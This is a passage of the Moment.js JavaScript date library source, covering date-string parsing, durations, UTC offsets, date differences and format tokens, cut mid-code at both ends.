= true; // This array is used to make a Date, either with `new Date` or `Date.UTC` var string = '' + config._i, i, parsedInput, tokens, token, skipped, stringLength = string.length, totalParsedInputLength = 0; tokens = expandFormat(config._f, config._locale).match(formattingTokens) || []; for (i = 0; i < tokens.length; i++) { token = tokens[i]; parsedInput = (string.match(getParseRegexForToken(token, config)) || [])[0]; // console.log('token', token, 'parsedInput', parsedInput, // 'regex', getParseRegexForToken(token, config)); if (parsedInput) { skipped = string.substr(0, string.indexOf(parsedInput)); if (skipped.length > 0) { getParsingFlags(config).unusedInput.push(skipped); } string = string.slice(string.indexOf(parsedInput) + parsedInput.length); totalParsedInputLength += parsedInput.length; } // don't parse if it's not a known token if (formatTokenFunctions[token]) { if (parsedInput) { getParsingFlags(config).empty = false; } else { getParsingFlags(config).unusedTokens.push(token); } addTimeToArrayFromToken(token, parsedInput, config); } else if (config._strict && !parsedInput) { getParsingFlags(config).unusedTokens.push(token); } } // add remaining unparsed input length to the string getParsingFlags(config).charsLeftOver = stringLength - totalParsedInputLength; if (string.length > 0) { getParsingFlags(config).unusedInput.push(string); } // clear _12h flag if hour is <= 12 if (config._a[HOUR] <= 12 && getParsingFlags(config).bigHour === true && config._a[HOUR] > 0) { getParsingFlags(config).bigHour = undefined; } getParsingFlags(config).parsedDateParts = config._a.slice(0); getParsingFlags(config).meridiem = config._meridiem; // handle meridiem config._a[HOUR] = meridiemFixWrap(config._locale, config._a[HOUR], config._meridiem); configFromArray(config); checkOverflow(config); } function meridiemFixWrap (locale, hour, meridiem) { var isPm; if (meridiem == null) { // nothing to do return hour; } if (locale.meridiemHour != null) { return locale.meridiemHour(hour, meridiem); } else if (locale.isPM != null) { // Fallback isPm = locale.isPM(meridiem); if (isPm && hour < 12) { hour += 12; } if (!isPm && hour === 12) { hour = 0; } return hour; } else { // this is not supposed to happen return hour; } } // date from string and array of format strings function configFromStringAndArray(config) { var tempConfig, bestMoment, scoreToBeat, i, currentScore; if (config._f.length === 0) { getParsingFlags(config).invalidFormat = true; config._d = new Date(NaN); return; } for (i = 0; i < config._f.length; i++) { currentScore = 0; tempConfig = copyConfig({}, config); if (config._useUTC != null) { tempConfig._useUTC = config._useUTC; } tempConfig._f = config._f[i]; configFromStringAndFormat(tempConfig); if (!isValid(tempConfig)) { continue; } // if there is any input that was not parsed add a penalty for that format currentScore += getParsingFlags(tempConfig).charsLeftOver; //or tokens currentScore += getParsingFlags(tempConfig).unusedTokens.length * 10; getParsingFlags(tempConfig).score = currentScore; if (scoreToBeat == null || currentScore < scoreToBeat) { scoreToBeat = currentScore; bestMoment = tempConfig; } } extend(config, bestMoment || tempConfig); } function configFromObject(config) { if (config._d) { return; } var i = normalizeObjectUnits(config._i); config._a = map([i.year, i.month, i.day || i.date, i.hour, i.minute, i.second, i.millisecond], function (obj) { return obj && parseInt(obj, 10); }); configFromArray(config); } function createFromConfig (config) { var res = new Moment(checkOverflow(prepareConfig(config))); if (res._nextDay) { // Adding is smart enough around DST res.add(1, 'd'); res._nextDay = undefined; } return res; } function prepareConfig (config) { var input = config._i, format = config._f; config._locale = config._locale || getLocale(config._l); if (input === null || (format === undefined && input === '')) { return createInvalid({nullInput: true}); } if (typeof input === 'string') { config._i = input = config._locale.preparse(input); } if (isMoment(input)) { return new Moment(checkOverflow(input)); } else if (isDate(input)) { config._d = input; } else if (isArray(format)) { configFromStringAndArray(config); } else if (format) { configFromStringAndFormat(config); } else { configFromInput(config); } if (!isValid(config)) { config._d = null; } return config; } function configFromInput(config) { var input = config._i; if (isUndefined(input)) { config._d = new Date(hooks.now()); } else if (isDate(input)) { config._d = new Date(input.valueOf()); } else if (typeof input === 'string') { configFromString(config); } else if (isArray(input)) { config._a = map(input.slice(0), function (obj) { return parseInt(obj, 10); }); configFromArray(config); } else if (isObject(input)) { configFromObject(config); } else if (isNumber(input)) { // from milliseconds config._d = new Date(input); } else { hooks.createFromInputFallback(config); } } function createLocalOrUTC (input, format, locale, strict, isUTC) { var c = {}; if (locale === true || locale === false) { strict = locale; locale = undefined; } if ((isObject(input) && isObjectEmpty(input)) || (isArray(input) && input.length === 0)) { input = undefined; } // object construction must be done this way. // https://github.com/moment/moment/issues/1423 c._isAMomentObject = true; c._useUTC = c._isUTC = isUTC; c._l = locale; c._i = input; c._f = format; c._strict = strict; return createFromConfig(c); } function createLocal (input, format, locale, strict) { return createLocalOrUTC(input, format, locale, strict, false); } var prototypeMin = deprecate( 'moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/', function () { var other = createLocal.apply(null, arguments); if (this.isValid() && other.isValid()) { return other < this ? this : other; } else { return createInvalid(); } } ); var prototypeMax = deprecate( 'moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/', function () { var other = createLocal.apply(null, arguments); if (this.isValid() && other.isValid()) { return other > this ? this : other; } else { return createInvalid(); } } ); // Pick a moment m from moments so that m[fn](other) is true for all // other. This relies on the function fn to be transitive. // // moments should either be an array of moment objects or an array, whose // first element is an array of moment objects. function pickBy(fn, moments) { var res, i; if (moments.length === 1 && isArray(moments[0])) { moments = moments[0]; } if (!moments.length) { return createLocal(); } res = moments[0]; for (i = 1; i < moments.length; ++i) { if (!moments[i].isValid() || moments[i][fn](res)) { res = moments[i]; } } return res; } // TODO: Use [].sort instead? function min () { var args = [].slice.call(arguments, 0); return pickBy('isBefore', args); } function max () { var args = [].slice.call(arguments, 0); return pickBy('isAfter', args); } var now = function () { return Date.now ? Date.now() : +(new Date()); }; var ordering = ['year', 'quarter', 'month', 'week', 'day', 'hour', 'minute', 'second', 'millisecond']; function isDurationValid(m) { for (var key in m) { if (!(indexOf.call(ordering, key) !== -1 && (m[key] == null || !isNaN(m[key])))) { return false; } } var unitHasDecimal = false; for (var i = 0; i < ordering.length; ++i) { if (m[ordering[i]]) { if (unitHasDecimal) { return false; // only allow non-integers for smallest unit } if (parseFloat(m[ordering[i]]) !== toInt(m[ordering[i]])) { unitHasDecimal = true; } } } return true; } function isValid$1() { return this._isValid; } function createInvalid$1() { return createDuration(NaN); } function Duration (duration) { var normalizedInput = normalizeObjectUnits(duration), years = normalizedInput.year || 0, quarters = normalizedInput.quarter || 0, months = normalizedInput.month || 0, weeks = normalizedInput.week || normalizedInput.isoWeek || 0, days = normalizedInput.day || 0, hours = normalizedInput.hour || 0, minutes = normalizedInput.minute || 0, seconds = normalizedInput.second || 0, milliseconds = normalizedInput.millisecond || 0; this._isValid = isDurationValid(normalizedInput); // representation for dateAddRemove this._milliseconds = +milliseconds + seconds * 1e3 + // 1000 minutes * 6e4 + // 1000 * 60 hours * 1000 * 60 * 60; //using 1000 * 60 * 60 instead of 36e5 to avoid floating point rounding errors https://github.com/moment/moment/issues/2978 // Because of dateAddRemove treats 24 hours as different from a // day when working around DST, we need to store them separately this._days = +days + weeks * 7; // It is impossible to translate months into days without knowing // which months you are are talking about, so we have to store // it separately. this._months = +months + quarters * 3 + years * 12; this._data = {}; this._locale = getLocale(); this._bubble(); } function isDuration (obj) { return obj instanceof Duration; } function absRound (number) { if (number < 0) { return Math.round(-1 * number) * -1; } else { return Math.round(number); } } // FORMATTING function offset (token, separator) { addFormatToken(token, 0, 0, function () { var offset = this.utcOffset(); var sign = '+'; if (offset < 0) { offset = -offset; sign = '-'; } return sign + zeroFill(~~(offset / 60), 2) + separator + zeroFill(~~(offset) % 60, 2); }); } offset('Z', ':'); offset('ZZ', ''); // PARSING addRegexToken('Z', matchShortOffset); addRegexToken('ZZ', matchShortOffset); addParseToken(['Z', 'ZZ'], function (input, array, config) { config._useUTC = true; config._tzm = offsetFromString(matchShortOffset, input); }); // HELPERS // timezone chunker // '+10:00' > ['10', '00'] // '-1530' > ['-15', '30'] var chunkOffset = /([\+\-]|\d\d)/gi; function offsetFromString(matcher, string) { var matches = (string || '').match(matcher); if (matches === null) { return null; } var chunk = matches[matches.length - 1] || []; var parts = (chunk + '').match(chunkOffset) || ['-', 0, 0]; var minutes = +(parts[1] * 60) + toInt(parts[2]); return minutes === 0 ? 0 : parts[0] === '+' ? minutes : -minutes; } // Return a moment from input, that is local/utc/zone equivalent to model. function cloneWithOffset(input, model) { var res, diff; if (model._isUTC) { res = model.clone(); diff = (isMoment(input) || isDate(input) ? input.valueOf() : createLocal(input).valueOf()) - res.valueOf(); // Use low-level api, because this fn is low-level api. res._d.setTime(res._d.valueOf() + diff); hooks.updateOffset(res, false); return res; } else { return createLocal(input).local(); } } function getDateOffset (m) { // On Firefox.24 Date#getTimezoneOffset returns a floating point. // https://github.com/moment/moment/pull/1871 return -Math.round(m._d.getTimezoneOffset() / 15) * 15; } // HOOKS // This function will be called whenever a moment is mutated. // It is intended to keep the offset in sync with the timezone. hooks.updateOffset = function () {}; // MOMENTS // keepLocalTime = true means only change the timezone, without // affecting the local hour. So 5:31:26 +0300 --[utcOffset(2, true)]--> // 5:31:26 +0200 It is possible that 5:31:26 doesn't exist with offset // +0200, so we adjust the time as needed, to be valid. // // Keeping the time actually adds/subtracts (one hour) // from the actual represented time. That is why we call updateOffset // a second time. In case it wants us to change the offset again // _changeInProgress == true case, then we have to adjust, because // there is no such time in the given timezone. function getSetOffset (input, keepLocalTime, keepMinutes) { var offset = this._offset || 0, localAdjust; if (!this.isValid()) { return input != null ? this : NaN; } if (input != null) { if (typeof input === 'string') { input = offsetFromString(matchShortOffset, input); if (input === null) { return this; } } else if (Math.abs(input) < 16 && !keepMinutes) { input = input * 60; } if (!this._isUTC && keepLocalTime) { localAdjust = getDateOffset(this); } this._offset = input; this._isUTC = true; if (localAdjust != null) { this.add(localAdjust, 'm'); } if (offset !== input) { if (!keepLocalTime || this._changeInProgress) { addSubtract(this, createDuration(input - offset, 'm'), 1, false); } else if (!this._changeInProgress) { this._changeInProgress = true; hooks.updateOffset(this, true); this._changeInProgress = null; } } return this; } else { return this._isUTC ? offset : getDateOffset(this); } } function getSetZone (input, keepLocalTime) { if (input != null) { if (typeof input !== 'string') { input = -input; } this.utcOffset(input, keepLocalTime); return this; } else { return -this.utcOffset(); } } function setOffsetToUTC (keepLocalTime) { return this.utcOffset(0, keepLocalTime); } function setOffsetToLocal (keepLocalTime) { if (this._isUTC) { this.utcOffset(0, keepLocalTime); this._isUTC = false; if (keepLocalTime) { this.subtract(getDateOffset(this), 'm'); } } return this; } function setOffsetToParsedOffset () { if (this._tzm != null) { this.utcOffset(this._tzm, false, true); } else if (typeof this._i === 'string') { var tZone = offsetFromString(matchOffset, this._i); if (tZone != null) { this.utcOffset(tZone); } else { this.utcOffset(0, true); } } return this; } function hasAlignedHourOffset (input) { if (!this.isValid()) { return false; } input = input ? createLocal(input).utcOffset() : 0; return (this.utcOffset() - input) % 60 === 0; } function isDaylightSavingTime () { return ( this.utcOffset() > this.clone().month(0).utcOffset() || this.utcOffset() > this.clone().month(5).utcOffset() ); } function isDaylightSavingTimeShifted () { if (!isUndefined(this._isDSTShifted)) { return this._isDSTShifted; } var c = {}; copyConfig(c, this); c = prepareConfig(c); if (c._a) { var other = c._isUTC ? createUTC(c._a) : createLocal(c._a); this._isDSTShifted = this.isValid() && compareArrays(c._a, other.toArray()) > 0; } else { this._isDSTShifted = false; } return this._isDSTShifted; } function isLocal () { return this.isValid() ? !this._isUTC : false; } function isUtcOffset () { return this.isValid() ? this._isUTC : false; } function isUtc () { return this.isValid() ? this._isUTC && this._offset === 0 : false; } // ASP.NET json date format regex var aspNetRegex = /^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/; // from http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html // somewhat more in line with 4.4.3.2 2004 spec, but allows decimal anywhere // and further modified to allow for strings containing both week and day var isoRegex = /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/; function createDuration (input, key) { var duration = input, // matching against regexp is expensive, do it on demand match = null, sign, ret, diffRes; if (isDuration(input)) { duration = { ms : input._milliseconds, d : input._days, M : input._months }; } else if (isNumber(input)) { duration = {}; if (key) { duration[key] = input; } else { duration.milliseconds = input; } } else if (!!(match = aspNetRegex.exec(input))) { sign = (match[1] === '-') ? -1 : 1; duration = { y : 0, d : toInt(match[DATE]) * sign, h : toInt(match[HOUR]) * sign, m : toInt(match[MINUTE]) * sign, s : toInt(match[SECOND]) * sign, ms : toInt(absRound(match[MILLISECOND] * 1000)) * sign // the millisecond decimal point is included in the match }; } else if (!!(match = isoRegex.exec(input))) { sign = (match[1] === '-') ? -1 : 1; duration = { y : parseIso(match[2], sign), M : parseIso(match[3], sign), w : parseIso(match[4], sign), d : parseIso(match[5], sign), h : parseIso(match[6], sign), m : parseIso(match[7], sign), s : parseIso(match[8], sign) }; } else if (duration == null) {// checks for null or undefined duration = {}; } else if (typeof duration === 'object' && ('from' in duration || 'to' in duration)) { diffRes = momentsDifference(createLocal(duration.from), createLocal(duration.to)); duration = {}; duration.ms = diffRes.milliseconds; duration.M = diffRes.months; } ret = new Duration(duration); if (isDuration(input) && hasOwnProp(input, '_locale')) { ret._locale = input._locale; } return ret; } createDuration.fn = Duration.prototype; createDuration.invalid = createInvalid$1; function parseIso (inp, sign) { // We'd normally use ~~inp for this, but unfortunately it also // converts floats to ints. // inp may be undefined, so careful calling replace on it. var res = inp && parseFloat(inp.replace(',', '.')); // apply sign while we're at it return (isNaN(res) ? 0 : res) * sign; } function positiveMomentsDifference(base, other) { var res = {milliseconds: 0, months: 0}; res.months = other.month() - base.month() + (other.year() - base.year()) * 12; if (base.clone().add(res.months, 'M').isAfter(other)) { --res.months; } res.milliseconds = +other - +(base.clone().add(res.months, 'M')); return res; } function momentsDifference(base, other) { var res; if (!(base.isValid() && other.isValid())) { return {milliseconds: 0, months: 0}; } other = cloneWithOffset(other, base); if (base.isBefore(other)) { res = positiveMomentsDifference(base, other); } else { res = positiveMomentsDifference(other, base); res.milliseconds = -res.milliseconds; res.months = -res.months; } return res; } // TODO: remove 'name' arg after deprecation is removed function createAdder(direction, name) { return function (val, period) { var dur, tmp; //invert the arguments, but complain about it if (period !== null && !isNaN(+period)) { deprecateSimple(name, 'moment().' + name + '(period, number) is deprecated. Please use moment().' + name + '(number, period). ' + 'See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.'); tmp = val; val = period; period = tmp; } val = typeof val === 'string' ? +val : val; dur = createDuration(val, period); addSubtract(this, dur, direction); return this; }; } function addSubtract (mom, duration, isAdding, updateOffset) { var milliseconds = duration._milliseconds, days = absRound(duration._days), months = absRound(duration._months); if (!mom.isValid()) { // No op return; } updateOffset = updateOffset == null ? true : updateOffset; if (months) { setMonth(mom, get(mom, 'Month') + months * isAdding); } if (days) { set$1(mom, 'Date', get(mom, 'Date') + days * isAdding); } if (milliseconds) { mom._d.setTime(mom._d.valueOf() + milliseconds * isAdding); } if (updateOffset) { hooks.updateOffset(mom, days || months); } } var add = createAdder(1, 'add'); var subtract = createAdder(-1, 'subtract'); function getCalendarFormat(myMoment, now) { var diff = myMoment.diff(now, 'days', true); return diff < -6 ? 'sameElse' : diff < -1 ? 'lastWeek' : diff < 0 ? 'lastDay' : diff < 1 ? 'sameDay' : diff < 2 ? 'nextDay' : diff < 7 ? 'nextWeek' : 'sameElse'; } function calendar$1 (time, formats) { // We want to compare the start of today, vs this. // Getting start-of-today depends on whether we're local/utc/offset or not. var now = time || createLocal(), sod = cloneWithOffset(now, this).startOf('day'), format = hooks.calendarFormat(this, sod) || 'sameElse'; var output = formats && (isFunction(formats[format]) ? formats[format].call(this, now) : formats[format]); return this.format(output || this.localeData().calendar(format, this, createLocal(now))); } function clone () { return new Moment(this); } function isAfter (input, units) { var localInput = isMoment(input) ? input : createLocal(input); if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(units) || 'millisecond'; if (units === 'millisecond') { return this.valueOf() > localInput.valueOf(); } else { return localInput.valueOf() < this.clone().startOf(units).valueOf(); } } function isBefore (input, units) { var localInput = isMoment(input) ? input : createLocal(input); if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(units) || 'millisecond'; if (units === 'millisecond') { return this.valueOf() < localInput.valueOf(); } else { return this.clone().endOf(units).valueOf() < localInput.valueOf(); } } function isBetween (from, to, units, inclusivity) { var localFrom = isMoment(from) ? from : createLocal(from), localTo = isMoment(to) ? to : createLocal(to); if (!(this.isValid() && localFrom.isValid() && localTo.isValid())) { return false; } inclusivity = inclusivity || '()'; return (inclusivity[0] === '(' ? this.isAfter(localFrom, units) : !this.isBefore(localFrom, units)) && (inclusivity[1] === ')' ? this.isBefore(localTo, units) : !this.isAfter(localTo, units)); } function isSame (input, units) { var localInput = isMoment(input) ? input : createLocal(input), inputMs; if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(units) || 'millisecond'; if (units === 'millisecond') { return this.valueOf() === localInput.valueOf(); } else { inputMs = localInput.valueOf(); return this.clone().startOf(units).valueOf() <= inputMs && inputMs <= this.clone().endOf(units).valueOf(); } } function isSameOrAfter (input, units) { return this.isSame(input, units) || this.isAfter(input, units); } function isSameOrBefore (input, units) { return this.isSame(input, units) || this.isBefore(input, units); } function diff (input, units, asFloat) { var that, zoneDelta, output; if (!this.isValid()) { return NaN; } that = cloneWithOffset(input, this); if (!that.isValid()) { return NaN; } zoneDelta = (that.utcOffset() - this.utcOffset()) * 6e4; units = normalizeUnits(units); switch (units) { case 'year': output = monthDiff(this, that) / 12; break; case 'month': output = monthDiff(this, that); break; case 'quarter': output = monthDiff(this, that) / 3; break; case 'second': output = (this - that) / 1e3; break; // 1000 case 'minute': output = (this - that) / 6e4; break; // 1000 * 60 case 'hour': output = (this - that) / 36e5; break; // 1000 * 60 * 60 case 'day': output = (this - that - zoneDelta) / 864e5; break; // 1000 * 60 * 60 * 24, negate dst case 'week': output = (this - that - zoneDelta) / 6048e5; break; // 1000 * 60 * 60 * 24 * 7, negate dst default: output = this - that; } return asFloat ? output : absFloor(output); } function monthDiff (a, b) { // difference in months var wholeMonthDiff = ((b.year() - a.year()) * 12) + (b.month() - a.month()), // b is in (anchor - 1 month, anchor + 1 month) anchor = a.clone().add(wholeMonthDiff, 'months'), anchor2, adjust; if (b - anchor < 0) { anchor2 = a.clone().add(wholeMonthDiff - 1, 'months'); // linear across the month adjust = (b - anchor) / (anchor - anchor2); } else { anchor2 = a.clone().add(wholeMonthDiff + 1, 'months'); // linear across the month adjust = (b - anchor) / (anchor2 - anchor); } //check for negative zero, return zero if negative zero return -(wholeMonthDiff + adjust) || 0; } hooks.defaultFormat = 'YYYY-MM-DDTHH:mm:ssZ'; hooks.defaultFormatUtc = 'YYYY-MM-DDTHH:mm:ss[Z]'; function toString () { return this.clone().locale('en').format('ddd MMM DD YYYY HH:mm:ss [GMT]ZZ'); } function toISOString(keepOffset) { if (!this.isValid()) { return null; } var utc = keepOffset !== true; var m = utc ? this.clone().utc() : this; if (m.year() < 0 || m.year() > 9999) { return formatMoment(m, utc ? 'YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYYYY-MM-DD[T]HH:mm:ss.SSSZ'); } if (isFunction(Date.prototype.toISOString)) { // native implementation is ~50x faster, use it when we can if (utc) { return this.toDate().toISOString(); } else { return new Date(this.valueOf() + this.utcOffset() * 60 * 1000).toISOString().replace('Z', formatMoment(m, 'Z')); } } return formatMoment(m, utc ? 'YYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYY-MM-DD[T]HH:mm:ss.SSSZ'); } /** * Return a human readable representation of a moment that can * also be evaluated to get a new moment which is the same * * @link https://nodejs.org/dist/latest/docs/api/util.html#util_custom_inspect_function_on_objects */ function inspect () { if (!this.isValid()) { return 'moment.invalid(/* ' + this._i + ' */)'; } var func = 'moment'; var zone = ''; if (!this.isLocal()) { func = this.utcOffset() === 0 ? 'moment.utc' : 'moment.parseZone'; zone = 'Z'; } var prefix = '[' + func + '("]'; var year = (0 <= this.year() && this.year() <= 9999) ? 'YYYY' : 'YYYYYY'; var datetime = '-MM-DD[T]HH:mm:ss.SSS'; var suffix = zone + '[")]'; return this.format(prefix + year + datetime + suffix); } function format (inputString) { if (!inputString) { inputString = this.isUtc() ? hooks.defaultFormatUtc : hooks.defaultFormat; } var output = formatMoment(this, inputString); return this.localeData().postformat(output); } function from (time, withoutSuffix) { if (this.isValid() && ((isMoment(time) && time.isValid()) || createLocal(time).isValid())) { return createDuration({to: this, from: time}).locale(this.locale()).humanize(!withoutSuffix); } else { return this.localeData().invalidDate(); } } function fromNow (withoutSuffix) { return this.from(createLocal(), withoutSuffix); } function to (time, withoutSuffix) { if (this.isValid() && ((isMoment(time) && time.isValid()) || createLocal(time).isValid())) { return createDuration({from: this, to: time}).locale(this.locale()).humanize(!withoutSuffix); } else { return this.localeData().invalidDate(); } } function toNow (withoutSuffix) { return this.to(createLocal(), withoutSuffix); } // If passed a locale key, it will set the locale for this // instance. Otherwise, it will return the locale configuration // variables for this instance. function locale (key) { var newLocaleData; if (key === undefined) { return this._locale._abbr; } else { newLocaleData = getLocale(key); if (newLocaleData != null) { this._locale = newLocaleData; } return this; } } var lang = deprecate( 'moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.', function (key) { if (key === undefined) { return this.localeData(); } else { return this.locale(key); } } ); function localeData () { return this._locale; } function startOf (units) { units = normalizeUnits(units); // the following switch intentionally omits break keywords // to utilize falling through the cases. switch (units) { case 'year': this.month(0); /* falls through */ case 'quarter': case 'month': this.date(1); /* falls through */ case 'week': case 'isoWeek': case 'day': case 'date': this.hours(0); /* falls through */ case 'hour': this.minutes(0); /* falls through */ case 'minute': this.seconds(0); /* falls through */ case 'second': this.milliseconds(0); } // weeks are a special case if (units === 'week') { this.weekday(0); } if (units === 'isoWeek') { this.isoWeekday(1); } // quarters are also special if (units === 'quarter') { this.month(Math.floor(this.month() / 3) * 3); } return this; } function endOf (units) { units = normalizeUnits(units); if (units === undefined || units === 'millisecond') { return this; } // 'date' is an alias for 'day', so it should be considered as such. if (units === 'date') { units = 'day'; } return this.startOf(units).add(1, (units === 'isoWeek' ? 'week' : units)).subtract(1, 'ms'); } function valueOf () { return this._d.valueOf() - ((this._offset || 0) * 60000); } function unix () { return Math.floor(this.valueOf() / 1000); } function toDate () { return new Date(this.valueOf()); } function toArray () { var m = this; return [m.year(), m.month(), m.date(), m.hour(), m.minute(), m.second(), m.millisecond()]; } function toObject () { var m = this; return { years: m.year(), months: m.month(), date: m.date(), hours: m.hours(), minutes: m.minutes(), seconds: m.seconds(), milliseconds: m.milliseconds() }; } function toJSON () { // new Date(NaN).toJSON() === null return this.isValid() ? this.toISOString() : null; } function isValid$2 () { return isValid(this); } function parsingFlags () { return extend({}, getParsingFlags(this)); } function invalidAt () { return getParsingFlags(this).overflow; } function creationData() { return { input: this._i, format: this._f, locale: this._locale, isUTC: this._isUTC, strict: this._strict }; } // FORMATTING addFormatToken(0, ['gg', 2], 0, function () { return this.weekYear() % 100; }); addFormatToken(0, ['GG', 2], 0, function () { return this.isoWeekYear() % 100; }); function addWeekYearFormatToken (token, getter) { addFormatToken(0, [token, token.length], 0, getter); } addWeekYearFormatToken('gggg', 'weekYear'); addWeekYearFormatToken('ggggg', 'weekYear'); addWeekYearFormatToken('GGGG', 'isoWeekYear'); addWeekYearFormatToken('GGGGG', 'isoWeekYear'); // ALIASES addUnitAlias('weekYear', 'gg'); addUnitAlias('isoWeekYear', 'GG'); // PRIORITY addUnitPriority('weekYear', 1); addUnitPriority('isoWeekYear', 1); // PARSING addRegexToken('G', matchSigned); addRegexToken('g', matchSigned); addRegexToken('GG', match1to2, match2); addRegexToken('gg', match1to2, match2); addRegexToken('GGGG', match1to4, match4); addRegexToken('gggg', match1to4, match4); addRegexToken('GGGGG', match1to6, match6); addRegexToken('ggggg', match1to6, match6); addWeekParseToken(['gggg', 'ggggg', 'GGGG', 'GGGGG'], function (input, week, config, token) { week[token.substr(0, 2)] = toInt(input); }); addWeekParseToken(['gg', 'GG'], function (input, week, config, token) { week[token] = hooks.parseTwoDigitYear(input); }); // MOMENTS function getSetWeekYear (input) { return getSetWeekYearHelper.call(this, input, this.week(), this.weekday(), this.localeData()._week.dow, this.localeData()._week.doy); } function getSetISOWeekYear (input) { return getSetWeekYearHelper.call(this, input, this.isoWeek(), this.isoWeekday(), 1, 4); } function getISOWeeksInYear () { return weeksInYear(this.year(), 1, 4); } function getWeeksInYear () { var weekInfo = this.localeData()._week; return weeksInYear(this.year(), weekInfo.dow, weekInfo.doy); } function getSetWeekYearHelper(input, week, weekday, dow, doy) { var weeksTarget; if (input == null) { return weekOfYear(this, dow, doy).year; } else { weeksTarget = weeksInYear(input, dow, doy); if (week > weeksTarget) { week = weeksTarget; } return setWeekAll.call(this, input, week, weekday, dow, doy); } } function setWeekAll(weekYear, week, weekday, dow, doy) { var dayOfYearData = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy), date = createUTCDate(dayOfYearData.year, 0, dayOfYearData.dayOfYear); this.year(date.getUTCFullYear()); this.month(date.getUTCMonth()); this.date(date.getUTCDate()); return this; } // FORMATTING addFormatToken('Q', 0, 'Qo', 'quarter'); // ALIASES addUnitAlias('quarter', 'Q'); // PRIORITY addUnitPriority('quarter', 7); // PARSING addRegexToken('Q', match1); addParseToken('Q', function (input, array) { array[MONTH] = (toInt(input) - 1) * 3; }); // MOMENTS function getSetQuarter (input) { return input == null ? Math.ceil((this.month() + 1) / 3) : this.month((input - 1) * 3 + this.month() % 3); } // FORMATTING addFormatToken('D', ['DD', 2], 'Do', 'date'); // ALIASES addUnitAlias('date', 'D'); // PRIORITY addUnitPriority('date', 9); // PARSING addRegexToken('D', match1to2); addRegexToken('DD', match1to2, match2); addRegexToken('Do', function (isStrict, locale) { // TODO: Remove "ordinalParse" fallback in next major release. return isStrict ? (locale._dayOfMonthOrdinalParse || locale._ordinalParse) : locale._dayOfMonthOrdinalParseLenient; }); addParseToken(['D', 'DD'], DATE); addParseToken('Do', function (input, array) { array[DATE] = toInt(input.match(match1to2)[0]); }); // MOMENTS var getSetDayOfMonth = makeGetSet('Date', true); // FORMATTING addFormatToken('DDD', ['DDDD', 3], 'DDDo', 'dayOfYear'); // ALIASES addUnitAlias('dayOfYear', 'DDD'); // PRIORITY addUnitPriority('dayOfYear', 4); // PARSING addRegexToken('DDD', match1to3); addRegexToken('DDDD', match3); addParseToken(['DDD', 'DDDD'], function (input, array, config) { config._dayOfYear = toInt(input); }); // HELPERS // MOMENTS function getSetDayOfYear (input) { var dayOfYear = Math.round((this.clone().startOf('day') - this.clone().startOf('year')) / 864e5) + 1; return input == null ? dayOfYear : this.add((input - dayOfYear), 'd'); } // FORMATTING addFormatToken('m', ['mm', 2], 0, 'minute'); // ALIASES addUnitAlias('minute', 'm'); // PRIORITY addUnitPriority('minute', 14); // PARSING addRegexToken('m', match1to2); addRegexToken('mm', match1to2, match2); addParseToken(['m', 'mm'], MINUTE); // MOMENTS var getSetMinute = makeGetSet('Minutes', false); // FORMATTING addFormatToken('s', ['ss', 2], 0, 'second'); // ALIASES addUnitAlias('second', 's'); // PRIORITY addUnitPriority('second', 15); // PARSING addRegexToken('s', match1to2); addRegexToken('ss', match1to2, match2); addParseToken(['s', 'ss'], SECOND); // MOMENTS var getSetSecond = makeGetSet('Seconds', false); // FORMATTING addFormatToken('S', 0, 0, function () { return ~~(this.millisecond() / 100); }); addFormatToken(0, ['SS', 2], 0, function () { return ~~(this.millisecond() / 10); }); addFormatToken(0, ['SSS', 3], 0, 'millisecond'); addFormatToken(0, ['SSSS', 4], 0, function () { return this.millisecond() * 10; }); addFormatToken(0, ['SSSSS', 5], 0, function () { return this.millisecond() * 100; }); addFormatToken(0, ['SSSSSS', 6], 0, function () { return this.millisecond() * 1000; }); addFormatToken(0, ['SSSSSSS', 7], 0, function () { return this.millisecond() * 10000; }); addFormatToken(0, ['SSSSSSSS', 8], 0, function () { return this.millisecond() * 100000; }); addFormatToken(0, ['SSSSSSSSS', 9], 0, function () { return this.millisecond() * 1000000; }); // ALIASES addUnitAlias('millisecond', 'ms'); // PRIORITY addUnitPriority('millisecond', 16); // PARSING addRegexToken('S', match1to3, match1); addRegexToken('SS', match1to3, match2); addRegexToken('SSS', match1to3, match3); var token; for (token = 'SSSS'; token.length <= 9; token += 'S') { addRegexToken(token, matchUnsigned); } function parseMs(input, array) { array[MILLISECOND] = toInt(('0.' + input) * 1000); } for (token = 'S'; token.length <= 9; token += 'S') { addParseToken(token, parseMs); } // MOMENTS var getSetMillisecond = makeGetSet('Milliseconds', false); // FORMATTING addFormatToken('z', 0, 0, 'zoneAbbr'); addFormatToken('zz', 0, 0, 'zoneName'); // MOMENTS function getZoneAbbr () { return this._isUTC ? 'UTC' : ''; } function getZoneName () { return this._isUTC ? 'Coordinated Universal Time' : ''; } var proto = Moment.prototype; proto.add = add; proto.calendar = calendar$1; proto.clone = clone; proto.diff = diff; proto.endOf = endOf; proto.format = format; proto.from = from; proto.fromNow = fromNow; proto.to = to; proto.toNow = toNow; proto.get = stringGet; proto.invalidAt = invalidAt; proto.isAfter = isAfter; proto.isBefore = isBefore; proto.isBetween = isBetween; proto.isSame = isSame; proto.isSameOrAfter = isSameOrAfter; proto.isSameOrBefore = isSameOrBefore; proto.isValid = isValid$2; proto.lang = lang; proto.locale = locale; proto.localeData = localeData; proto.max = prototypeMax; proto.min = prototypeMin; proto.parsingFlags = parsingFlags; proto.set = stringSet; proto.startOf = startOf; proto.subtract = subtract; proto.toArray = toArray; proto.toObject = toObject; 